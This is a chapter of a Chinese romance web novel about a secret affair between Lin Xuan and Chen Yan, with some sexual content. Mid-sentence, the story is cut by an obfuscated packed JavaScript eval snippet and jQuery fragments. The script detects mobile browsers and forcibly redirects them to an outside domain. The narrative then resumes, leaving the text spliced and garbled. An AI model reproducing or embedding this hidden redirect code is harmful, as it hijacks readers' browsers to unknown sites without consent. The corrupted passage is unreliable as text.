自打林玄认识这位W先生以来,他似乎从未一次性说过这样多的话。
他的遣词用句甚至在某些时候像极了机翻。
于是当他把这些心里话抛出来以后,两个人都陷入了沉默。
中央空调的风声很大,以至于盖过了两人此起彼伏的心跳声。
男人的目光远没有他的话语灼热,反而冷清得看不见一丝生气。
青绿色的瞳里泛着淡淡的死意,像是童话故事里那个恶毒女巫的坩埚,明明沸腾得能看得见扬起的气泡,却象征着危险与死亡。
他在等。
等林玄的反应。
林玄怔怔地看着他,原本对峙的笑意已然变得僵硬。
出来玩的人,从来最忌讳问“你爱不爱我”这样的话。
对于她们来说,话说出口了也就宣告了关系的终止。
从肉/.体欲望出发的人,是不会希望从对方身上得到爱情的。
所以一旦这些话说出口,也就预示着动真心了。
可是没有人负得起动心的责任。
因为这段关系里,从来就不存在着“责任”。
真心是昂贵而奢侈的。
林玄别扭地转动着左手上那有些夸张的米色欧根纱发圈,眼皮子抬了又垂,欲言又止。
陈宴看着她那身素色缎面长裙,有着方才湿发滴落的水渍,此刻却刺眼得不合群。
他做着情人做的事,却妄想要一个爱人的名分。
明明知道她给不了他,但他还是忍不住说了。
他不后悔。
甚至在林玄强打着笑意,上前勾了勾他尾指,说着“别闹了”之后,他依旧不后悔。
无非是坐实了她有丈夫的这件事罢了。
“…睡吧。”
他没有再理会林玄看上去有些心虚的谄媚,走到床边揿下了灯源开关。
房间暗了,但陈宴知道,自己根本睡不着。
昏暗的房间里,空气中弥漫着一股寒意。
林玄分不清到底是空调温度的缘故,还是无法看见的枕边人正虎视眈眈着她。
本能让她在被窝中缩紧了手脚。
她本想伸手探向放在床头柜的手机,可摸了一阵依旧没有找到。
奇怪了。
她想起身开灯找,可是身边的男人呼吸声沉闷得可怕,只要她稍稍往旁边挪,他便会伸出手把她拽回来。
她觉得他应该是生气了。
无论林玄说什么,他都只是含糊地“嗯嗯”应答。
但他依旧没有松开环抱在她腰间的手。
男人的身躯紧贴着林玄后背,双手像把蜷缩着的林玄禁锢得死死的。
她连转侧都成问题。
他的鼻息打在林玄的颈窝,奇痒无比。
她感受到男人身上异常的滚烫,但她不敢再开口邀宠。
现在说的话,大概她明天会肿痛难忍吧。
比起一时的寻欢作乐,林玄觉得还是小命要紧。
即便如此,她还是会莫名地想象,那人要是发起狠来会是什么样的。
他会掐紧她的脖子,让她在窒息中到顶吗?
想到这些,她不仅没觉得害怕,反而有些兴奋。
林玄的呼吸突然变得有些急促,双腿夹得紧紧的。
有时候她会觉得,自己能和陈宴谈恋爱不是没有道理的。
旁人只会看到她的端庄得体,艳羡她那张脱俗的脸蛋,将她奉上神坛,好像她当真是什么圣女似的。
她从来都以父母喜欢的乖乖女形象示众,就连性感一些的裙子也没有在外人面前穿过。
好像贴在她身上的标签,只有保守二字。
但她知道,某些时候,她也会像陈宴一样,喜欢寻求一些刺激。
他喜欢在公路上寻求刺激,而她则喜欢在隐秘的角落做着不被父母和世俗允许的事。
林玄脑海中的那些画面愈加清晰,耳边却传来男人的声音。
“其实,我想问很久了。”
男人的声音变得十分阴沉,让林玄没忍住打了个冷颤。
“嗯…?”
“林小姐手上的发圈,并不是装饰吧?”
“…嗯,不知道W先生以为这是什么呢?”
在林玄这里,两人甚至还算不上是性伴侣的关系。仍在考核期,她自然也没打算回答这个问题。
只是她知道对方生气了,自己也没办法坐视不管,才会选择跟他“打太极”。
否则W得到的回应,应该是“抱歉,你逾矩了”才对。
对于这个回答,陈宴明显不买账。
但他不再继续追问,反而讪笑着闭上了双眼。
他给过她机会了。
无数次试探,她依旧不肯对他坦白任何东西。
在她那里,好像始终有一堵墙隔在两人之间。
即使他如何拼尽全力去推,尝试着沟通,她依旧不领情。
她很清楚什么样的话会暴露自己的信息与隐私,所以才会事事隐瞒,没有一句真话。
行走于交际场多年,她深谙着这些推拉的话术。
但在陈宴看来,这些都是她与多个男人深交后得来的经验。
像对待他一样,捕获别的男人的芳心对她来说轻而易举。
只有她想不想,没有她做不到。
更让他觉得讽刺和心寒的是,那些他思念林玄以至于夜不能寐的日子里,或许林玄正与其他男人寻欢。
她总是知道如何能够牵扯他的心。
就算是现在,他的心依旧为了她而悸动。
他恨她,更恨自己为什么要招惹她。
他被送到英国独居后,身边同学都或多或少谈上了puppylove,但他没有。
一心扑在学习与实践上,无论收到多少封情书,他都不会理会。
也曾有年级里长得惊为天人的女孩对他展开追求,他也依旧是礼貌上约她出来见面,再郑重其事地告诉她,自己并没有那样的想法。
的确很伤人,但比起让对方无止境地等待,他觉得这样的处理方式更容易让对方接受。
就算是暧昧,他也不喜欢。
他很讨厌虚无缥缈的感觉,无法评估和预测的未来,他根本不会想要踏足。
女孩们不禁猜想,这位威廉学长到底会喜欢什么样的人。
这一点,就连十六岁的陈宴也不知道答案。
直到二十四岁的那场晚宴,他见到林玄,好像一切都有了定论。
人们口中说的“心动”,原来会穿越他的心脏,回荡在他的胸腔;旁人嘴里的“喜欢”,原来真的会透过眼睛流露,藏也藏不住。
原来他一直奉为圭臬的标准,在那个人的面前都会不复存在。
只是第一次相见,对林玄的了解只停留在她的姓名和专业,就连籍贯都无从得知,遑论那个未来。
可他还是不由自主地心动了。
原来在她的面前,没有定数的未来也是一场他甘之如饴的冒险。
就算到了现在,恨意刺痛了他的双臂,疼痛让他无法呼吸,他依旧不后悔。
他甚至在想,是不是当初他自私一点,装作听不懂林玄的潜台词,这些横亘在他们之间的障碍就会消失?
他恨,他恼怒,却没办法说讨厌她。
他大抵还是爱她的。
然而他知道,这段关系不能再继续了。
他可以为她抛弃一切,可以为她摒弃所有标准。
但他不能自私地由着自己的私欲破坏别人的家庭。
家教使然,他别无他选。
一想到今天以后,他不会再与她相见,双臂便不由的抱得更紧。
他与她的故事是一场美
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305796|182828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梦。
但他该梦醒了。
今后陪伴他的只有这些可怜的回忆了。
次日早晨,陈宴醒的格外早。
自打与林玄重逢后,他没再失眠过。
可今天却再次失眠,一直到清晨那阵朦胧的睡意才刚刚来袭。
然而耳边听着似有还无的鸟啼,他再次清醒。
垂眼看着怀里熟睡的林玄,他的胸口再次传来难忍的疼痛。
彼时林玄正在梦乡中漫步林间,枝叶上的清雾凝结成了水珠,滴落在她的额头,缓慢坠入眼角。
脸庞传来湿漉漉的感觉十分真实。
当林玄醒来,屋内仍旧是一片昏暗。
落地窗前厚重的遮光帘将屋外的艳阳盖得严严实实。
林玄困倦地坐起身,摸着自己有些疼痛的脑袋爬起身,摸索着开了床头灯。
身边的男人早已离开,就连枕头上的褶皱也已消去,好像他不曾存在过。
林玄也不甚在意,只想着他或许是有事急着处理才会离开。
她怏怏地打开已经充满电的手机,看着上头赫然写着下午一点,这才感知到迟来的饥饿。
随意地收拾了一下自己,林玄带上速写本和几支铅笔下楼了。
她虽然更擅长油画,但到底作画的时间都要更长一些,比起画得精,她更想借着这个机会好好地看一看风景。
结束委托后的闲暇时光像是吊在林玄面前的胡萝卜,若不是这些风景当真能治愈人,她真不知自己受伤的心该如何修复。
在客人那受的气如果不能及时地发泄出去,只怕会憋出一生病来。
这是凌淼教她的。
“嗡——”
单肩包肩带上传来震动,林玄慌忙地从袋子里找出震颤的手机,接过视频通话。
是凌淼打来的。
“宝贝玄玄~刚起床?”对面的女人坐在办公室里,即使椅背遮挡了大部分背景,依旧能看得出她身处办公楼高层。
竖着利落的低马尾,简单的发圈束在脑后,银色的半框眼镜显得她更加干练。
“嗯……在想吃什么,待会在附近走走找个地方写生。”周围的旅客很多,林玄不敢把手机离远,只能将脸贴得紧紧地,几乎看不见一丝背景。
即便如此,她还是觉得身边路过的行人视线让她万分难堪。
但她并未表现出来,肩颈依旧挺立地犹如天鹅,只有手指忍不住地蜷缩。
“凌总,在忙吗?下午约的客户来了,指定要你见他。”
对面传来其他人的声音,周遭嘈杂得林玄并不能听清,只能看得出凌淼一瞬间收敛了嘴角的笑意,板着脸变得沉着。
“知道了,你先招待他,我准备一下。”凌淼的目光抬了抬,确认对方离开后,又无奈地朝林玄笑笑,“干活去了。”
她总是忙里偷闲地给林玄打电话,关心她的状况。就算是昨晚,她加班到凌晨,她依旧会给林玄发信息问候。
林玄点点头,挂断电话后又不由自主地点进“W”的聊天窗。
“走了也不说一声…”她嘴里嘟囔,恨恨地点开对方的头像。
他的朋友圈依旧是空落落的。
要不是底下没有横杠,她都要以为对方是把她拉黑了。
“算了,”她将手机收回,再次张望着周围的店铺,挑了一家看上去还算干净的面店坐了进去。
那面线看上去并不算开胃,但她还是鬼使神差般地将它拍了下来。
昨天W说民宿早上有面食供应,但刚才林玄路过前台问了一嘴,这个时间段是没有的,她便抱着补偿的心来到这里。
可是当她满心欢喜地点开聊天窗,选下那张刚拍的照片,却怎么也按不下发送键。
大脑抑制了她片刻的心动。
她们不是这样的关系。
她不该这样的。